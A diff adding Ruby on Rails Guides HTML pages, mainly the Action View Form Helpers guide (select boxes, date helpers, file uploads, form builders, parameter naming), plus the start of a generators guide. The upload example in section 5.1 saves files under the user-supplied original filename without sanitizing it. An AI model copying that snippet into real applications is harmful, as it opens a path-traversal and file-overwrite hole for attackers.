+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= select_tag(:city_id, options_for_select(...)) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p><tt>options_for_select</tt> allows you to pre-select an option by passing its value.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %&gt;
+
+output:
+
+&lt;option value=&quot;1&quot;&gt;Lisbon&lt;/option&gt;
+&lt;option value=&quot;2&quot; selected=&quot;selected&quot;&gt;Madrid&lt;/option&gt;
+...
+</pre>
+</div>
+</notextile>
+
+<p>Whenever Rails sees that the internal value of an option being generated matches this value, it will add the <tt>selected</tt> attribute to that option.</p>
+<div class='info'><p>The second argument to <tt>options_for_select</tt> must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass &#8220;2&#8221; to <tt>options_for_select</tt> &#8212; you must pass 2. Be aware of values extracted from the <tt>params</tt> hash as they are all strings.</p></div>
+<h4 id="select-boxes-for-dealing-with-models">3.2 Select Boxes for Dealing with Models</h4>
+<p>In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the <tt>_tag</tt> suffix from <tt>select_tag</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# controller:
+@person = Person.new(:city_id =&gt; 2)
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+# view:
+&lt;%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Notice that the third parameter, the options array, is the same kind of argument you pass to <tt>options_for_select</tt>. One advantage here is that you don&#8217;t have to worry about pre-selecting the correct city if the user already has one &#8212; Rails will do this for you by reading from the <tt>@person.city_id</tt> attribute.</p>
+<p>As with other helpers, if you were to use the <tt>select</tt> helper on a form builder scoped to the <tt>@person</tt> object, the syntax would be:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+# select on a form builder
+&lt;%= f.select(:city_id, ...) %&gt;
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>If you are using <tt>select</tt> (or similar helpers such as <tt>collection_select</tt>, <tt>select_tag</tt>) to set a <tt>belongs_to</tt> association you must pass the name of the foreign key (in the example above <tt>city_id</tt>), not the name of association itself.  If you specify <tt>city</tt> instead of <tt>city_id</tt> Active Record will raise an error along the lines of <tt> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </tt> when you pass the <tt>params</tt> hash to <tt>Person.new</tt> or <tt>update_attributes</tt>. Another way of looking at this is that form helpers only edit attributes.  You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of <tt>attr_protected</tt> and <tt>attr_accessible</tt>. For further details on this, see the <a href="security.html#_mass_assignment">Ruby On Rails Security Guide</a>.</p></div>
+<h4 id="option-tags-from-a-collection-of-arbitrary-objects">3.3 Option Tags from a Collection of Arbitrary Objects</h4>
+<p>Generating options tags with <tt>options_for_select</tt> requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% cities_array = City.all.map { |city| [city.name, city.id] } %&gt;
+&lt;%= options_for_select(cities_array) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This is a perfectly valid solution, but Rails provides a less verbose alternative: <tt>options_from_collection_for_select</tt>. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option <strong>value</strong> and <strong>text</strong> from, respectively:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= options_from_collection_for_select(City.all, :id, :name) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with <tt>select_tag</tt>, just as you would with <tt>options_for_select</tt>. When working with model objects, just as <tt>select</tt> combines <tt>select_tag</tt> and <tt>options_for_select</tt>, <tt>collection_select</tt> combines <tt>select_tag</tt> with <tt>options_from_collection_for_select</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= collection_select(:person, :city_id, City.all, :id, :name) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To recap, <tt>options_from_collection_for_select</tt> is to <tt>collection_select</tt> what <tt>options_for_select</tt> is to <tt>select</tt>.</p>
+<div class='note'><p>Pairs passed to <tt>options_for_select</tt> should have the name first and the id second, however with <tt>options_from_collection_for_select</tt> the first argument is the value method and the second the text method.</p></div>
+<h4 id="time-zone-and-country-select">3.4 Time Zone and Country Select</h4>
+<p>To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using <tt>collection_select</tt>, but you can simply use the <tt>time_zone_select</tt> helper that already wraps this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= time_zone_select(:person, :time_zone) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>There is also <tt>time_zone_options_for_select</tt> helper for a more manual (therefore more customizable) way of doing this. Read the <span class="caps">API</span> documentation to learn about the possible arguments for these two methods.</p>
+<p>Rails <em>used</em> to have a <tt>country_select</tt> helper for choosing countries, but this has been extracted to the <a href="http://github.com/rails/country_select/tree/master">country_select plugin</a>. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).</p>
+<h3 id="using-date-and-time-form-helpers">4 Using Date and Time Form Helpers</h3>
+<p>The date and time helpers differ from all the other form helpers in two important respects:</p>
+<ol>
+	<li>Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your <tt>params</tt> hash with your date or time.</li>
+	<li>Other helpers use the <tt>_tag</tt> suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, <tt>select_date</tt>, <tt>select_time</tt> and <tt>select_datetime</tt> are the barebones helpers, <tt>date_select</tt>, <tt>time_select</tt> and <tt>datetime_select</tt> are the equivalent model object helpers.</li>
+</ol>
+<p>Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).</p>
+<h4 id="barebones-helpers">4.1 Barebones Helpers</h4>
+<p>The <tt>select_*</tt> family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= select_date Date.today, :prefix =&gt; :start_date %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>outputs (with actual option values omitted for brevity)</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;select id=&quot;start_date_year&quot; name=&quot;start_date[year]&quot;&gt; ... &lt;/select&gt;
+&lt;select id=&quot;start_date_month&quot; name=&quot;start_date[month]&quot;&gt; ... &lt;/select&gt;
+&lt;select id=&quot;start_date_day&quot; name=&quot;start_date[day]&quot;&gt; ... &lt;/select&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The above inputs would result in <tt>params[:start_date]</tt> being a hash with keys <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>:prefix</tt> option is the key used to retrieve the hash of date components from the <tt>params</tt> hash. Here it was set to <tt>start_date</tt>, if omitted it will default to <tt>date</tt>.</p>
+<h4 id="select-model-object-helpers">4.2 Model Object Helpers</h4>
+<p><tt>select_date</tt> does not work well with forms that update or create Active Record objects as Active Record expects each element of the <tt>params</tt> hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names,  when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= date_select :person, :birth_date %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>outputs (with actual option values omitted for brevity)</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;select id=&quot;person_birth_date_1i&quot; name=&quot;person[birth_date(1i)]&quot;&gt; ... &lt;/select&gt;
+&lt;select id=&quot;person_birth_date_2i&quot; name=&quot;person[birth_date(2i)]&quot;&gt; ... &lt;/select&gt;
+&lt;select id=&quot;person_birth_date_3i&quot; name=&quot;person[birth_date(3i)]&quot;&gt; ... &lt;/select&gt;
+</pre>
+</div>
+</notextile>
+
+<p>which results in a <tt>params</tt> hash like</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:person =&gt; {'birth_date(1i)' =&gt; '2008', 'birth_date(2i)' =&gt; '11', 'birth_date(3i)' =&gt; '22'}}
+</pre>
+</div>
+</notextile>
+
+<p>When this is passed to <tt>Person.new</tt> (or <tt>update_attributes</tt>), Active Record spots that these parameters should all be used to construct the <tt>birth_date</tt> attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as <tt>Date.civil</tt>.</p>
+<h4 id="common-options">4.3 Common Options</h4>
+<p>Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the <tt>:start_year</tt> and <tt>:end_year</tt> options override this. For an exhaustive list of the available options, refer to the <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html"><span class="caps">API</span> documentation</a>.</p>
+<p>As a rule of thumb you should be using <tt>date_select</tt> when working with model objects and <tt>select_date</tt> in other cases, such as a search form which filters results by date.</p>
+<div class='note'><p>In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.</p></div>
+<h4 id="individual-components">4.4 Individual Components</h4>
+<p>Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component <tt>select_year</tt>, <tt>select_month</tt>, <tt>select_day</tt>, <tt>select_hour</tt>, <tt>select_minute</tt>, <tt>select_second</tt>. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example &#8220;year&#8221; for <tt>select_year</tt>, &#8220;month&#8221; for <tt>select_month</tt> etc.) although this can be overriden with the  <tt>:field_name</tt> option. The <tt>:prefix</tt> option works in the same way that it does for <tt>select_date</tt> and <tt>select_time</tt> and has the same default value.</p>
+<p>The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= select_year(2009) %&gt;
+&lt;%= select_year(Time.now) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by <tt>params[:date][:year]</tt>.</p>
+<h3 id="uploading-files">5 Uploading Files</h3>
+<p>A common task is uploading some sort of file, whether it&#8217;s a picture of a person or a <span class="caps">CSV</span> file containing data to process. The most important thing to remember with file uploads is that the form&#8217;s encoding <strong><span class="caps">MUST</span></strong> be set to &#8220;multipart/form-data&#8221;. If you forget to do this the file will not be uploaded. This can be done by passing <tt>:multi_part => true</tt> as an <span class="caps">HTML</span> option. This means that in the case of <tt>form_tag</tt> it must be passed in the second options hash and in the case of <tt>form_for</tt> inside the <tt>:html</tt> hash.</p>
+<p>The following two forms both upload a file.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_tag({:action =&gt; :upload}, :multipart =&gt; true) do %&gt;
+  &lt;%= file_field_tag 'picture' %&gt;
+&lt;% end %&gt;
+
+&lt;%= form_for @person, :html =&gt; {:multipart =&gt; true} do |f| %&gt;
+  &lt;%= f.file_field :picture %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Rails provides the usual pair of helpers: the barebones <tt>file_field_tag</tt> and the model oriented <tt>file_field</tt>. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in <tt>params[:picture]</tt> and in the second case in <tt>params[:person][:picture]</tt>.</p>
+<h4 id="what-gets-uploaded">5.1 What Gets Uploaded</h4>
+<p>The object in the <tt>params</tt> hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an <tt>original_filename</tt> attribute containing the name the file had on the user&#8217;s computer and a <tt>content_type</tt> attribute containing the <span class="caps">MIME</span> type of the uploaded file. The following snippet saves the uploaded content in <tt>#{Rails.root}/public/uploads</tt> under the same name as the original file (assuming the form was the one in the previous example).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are <a href="http://github.com/technoweenie/attachment_fu">Attachment-Fu</a> and <a href="http://www.thoughtbot.com/projects/paperclip">Paperclip</a>.</p>
+<div class='note'><p>If the user has not selected a file the corresponding parameter will be an empty string.</p></div>
+<h4 id="dealing-with-ajax">5.2 Dealing with Ajax</h4>
+<p>Unlike other forms making an asynchronous file upload form is not as simple as replacing <tt>form_for</tt> with <tt>remote_form_for</tt>. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.</p>
+<h3 id="customizing-form-builders">6 Customizing Form Builders</h3>
+<p>As mentioned previously the object yielded by <tt>form_for</tt> and <tt>fields_for</tt> is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for @person do |f| %&gt;
+  &lt;%= text_field_with_label f, :first_name %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>can be replaced with</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for @person, :builder =&gt; LabellingFormBuilder do |f| %&gt;
+  &lt;%= f.text_field :first_name %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>by defining a LabellingFormBuilder class similar to the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LabellingFormBuilder &lt; ActionView::Helpers::FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + super
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you reuse this frequently you could define a <tt>labeled_form_for</tt> helper that automatically applies the <tt>:builder => LabellingFormBuilder</tt> option.</p>
+<p>The form builder used also determines what happens when you do</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= render :partial =&gt; f %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>If <tt>f</tt> is an instance of FormBuilder then this will render the <tt>form</tt> partial, setting the partial&#8217;s object to the form builder. If the form builder is of class LabellingFormBuilder then the <tt>labelling_form</tt> partial would be rendered instead.</p>
+<h3 id="understanding-parameter-naming-conventions">7 Understanding Parameter Naming Conventions</h3>
+<p>As you&#8217;ve seen in the previous sections, values from forms can be at the top level of the <tt>params</tt> hash or nested in another hash. For example in a standard <tt>create</tt>
+action for a Person model, <tt>params[:model]</tt> would usually be a hash of all the attributes for the person to create. The <tt>params</tt> hash can also contain arrays, arrays of hashes and so on.</p>
+<p>Fundamentally <span class="caps">HTML</span> forms don&#8217;t know about any sort of structured data, all they generate is nameโ€“value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.</p>
+<div class='info'><p>You may find you can try out examples in this section faster by using the console to directly invoke Rails&#8217; parameter parser. For example <tt> ActionController::UrlEncodedPairParser.parse_query_parameters &#8220;name=fred&amp;phone=0123456789&#8221; # =&gt; {&quot;name&quot;=&gt;&quot;fred&quot;, &#8220;phone&#8221;=&gt;&quot;0123456789&quot;} </tt></p></div>
+<h4 id="basic-structures">7.1 Basic Structures</h4>
+<p>The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in <tt>params</tt>. For example if a form contains</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;input id=&quot;person_name&quot; name=&quot;person[name]&quot; type=&quot;text&quot; value=&quot;Henry&quot;/&gt;
+</pre>
+</div>
+</notextile>
+
+<p>the <tt>params</tt> hash will contain</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+{'person' =&gt; {'name' =&gt; 'Henry'}}
+</pre>
+</div>
+</notextile>
+
+<p>and <tt>params[:person][:name]</tt> will retrieve the submitted value in the controller.</p>
+<p>Hashes can be nested as many levels as required, for example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;input id=&quot;person_address_city&quot; name=&quot;person[address][city]&quot; type=&quot;text&quot; value=&quot;New York&quot;/&gt;
+</pre>
+</div>
+</notextile>
+
+<p>will result in the <tt>params</tt> hash being</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{'person' =&gt; {'address' =&gt; {'city' =&gt; 'New York'}}}
+</pre>
+</div>
+</notextile>
+
+<p>Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;input name=&quot;person[phone_number][]&quot; type=&quot;text&quot;/&gt;
+&lt;input name=&quot;person[phone_number][]&quot; type=&quot;text&quot;/&gt;
+&lt;input name=&quot;person[phone_number][]&quot; type=&quot;text&quot;/&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This would result in <tt>params[:person][:phone_number]</tt> being an array.</p>
+<h4 id="combining-them">7.2 Combining Them</h4>
+<p>We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;input name=&quot;addresses[][line1]&quot; type=&quot;text&quot;/&gt;
+&lt;input name=&quot;addresses[][line2]&quot; type=&quot;text&quot;/&gt;
+&lt;input name=&quot;addresses[][city]&quot; type=&quot;text&quot;/&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This would result in <tt>params[:addresses]</tt> being an array of hashes with keys <tt>line1</tt>, <tt>line2</tt> and <tt>city</tt>. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.</p>
+<p>There&#8217;s a restriction, however, while hashes can be nested arbitrarily, only one level of &#8220;arrayness&#8221; is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.</p>
+<div class='warning'><p>Array parameters do not play well with the <tt>check_box</tt> helper. According to the <span class="caps">HTML</span> specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The <tt>check_box</tt> helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use <tt>check_box_tag</tt> or to use hashes instead of arrays.</p></div>
+<h4 id="using-form-helpers">7.3 Using Form Helpers</h4>
+<p>The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as <tt>text_field_tag</tt> Rails also provides higher level support. The two tools at your disposal here are the name parameter to <tt>form_for</tt> and <tt>fields_for</tt> and the <tt>:index</tt> option that helpers take.</p>
+<p>You might want to render a form with a set of edit fields for each of a person&#8217;s addresses. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for @person do |person_form| %&gt;
+  &lt;%= person_form.text_field :name %&gt;
+  &lt;% for address in @person.addresses %&gt;
+    &lt;%= person_form.fields_for address, :index =&gt; address do |address_form|%&gt;
+      &lt;%= address_form.text_field :city %&gt;
+    &lt;% end %&gt;
+  &lt;% end %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/people/1&quot; class=&quot;edit_person&quot; id=&quot;edit_person_1&quot; method=&quot;post&quot;&gt;
+  &lt;input id=&quot;person_name&quot; name=&quot;person[name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+  &lt;input id=&quot;person_address_23_city&quot; name=&quot;person[address][23][city]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+  &lt;input id=&quot;person_address_45_city&quot; name=&quot;person[address][45][city]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This will result in a <tt>params</tt> hash that looks like</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{'person' =&gt; {'name' =&gt; 'Bob', 'address' =&gt; {'23' =&gt; {'city' =&gt; 'Paris'}, '45' =&gt; {'city' =&gt; 'London'}}}}
+</pre>
+</div>
+</notextile>
+
+<p>Rails knows that all these inputs should be part of the person hash because you called <tt>fields_for</tt> on the first form builder. By specifying an <tt>:index</tt> option you&#8217;re telling Rails that instead of naming the inputs <tt>person[address][city]</tt> it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call <tt>to_param</tt> on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even <tt>nil</tt> (which will result in an array parameter being created).</p>
+<p>To create more intricate nestings, you can specify the first part of the input name (<tt>person[address]</tt> in the previous example) explicitly, for example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= fields_for 'person[address][primary]', address, :index =&gt; address do |address_form| %&gt;
+  &lt;%= address_form.text_field :city %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>will create inputs like</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;input id=&quot;person_address_primary_1_city&quot; name=&quot;person[address][primary][1][city]&quot; size=&quot;30&quot; type=&quot;text&quot; value=&quot;bologna&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<p>As a general rule the final input name is the concatenation of the name given to <tt>fields_for</tt>/<tt>form_for</tt>, the index value and the name of the attribute. You can also pass an <tt>:index</tt> option directly to helpers such as <tt>text_field</tt>, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.</p>
+<p>As a shortcut you can append [] to the name and omit the <tt>:index</tt> option. This is the same as specifying <tt>:index => address</tt> so</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= fields_for 'person[address][primary][]', address do |address_form| %&gt;
+  &lt;%= address_form.text_field :city %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>produces exactly the same output as the previous example.</p>
+<h3 id="building-complex-forms">8 Building Complex Forms</h3>
+<p>Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:</p>
+<ul>
+	<li>As of Rails 2.3, Rails includes <a href="./2_3_release_notes.html#nested-attributes">Nested Attributes</a> and <a href="./2_3_release_notes.html#nested-object-forms">Nested Object Forms</a></li>
+	<li>Ryan Bates&#8217; series of Railscasts on <a href="http://railscasts.com/episodes/75">complex forms</a></li>
+	<li>Handle Multiple Models in One Form from <a href="http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf">Advanced Rails Recipes</a></li>
+	<li>Eloy Duran&#8217;s <a href="http://github.com/alloy/complex-form-examples/">complex-forms-examples</a> application</li>
+	<li>Lance Ivy&#8217;s <a href="http://github.com/cainlevy/nested_assignment/tree/master">nested_assignment</a> plugin and <a href="http://github.com/cainlevy/complex-form-examples/tree/cainlevy">sample application</a></li>
+	<li>James Golick&#8217;s <a href="http://github.com/jamesgolick/attribute_fu">attribute_fu</a> plugin</li>
+</ul>
+<h3 id="changelog">9 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1">Lighthouse ticket</a></p>
+<ul>
+	<li>April 6, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+</ul>
+<h3 id="authors">10 Authors</h3>
+<ul>
+	<li>Mislav Marohniฤ‡ &lt;mislav.marohnic@gmail.com&gt;</li>
+	<li><a href="credits.html#fcheung">Frederick Cheung</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/generators.html
@@ -0,0 +1,555 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Creating and Customizing Rails Generators</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
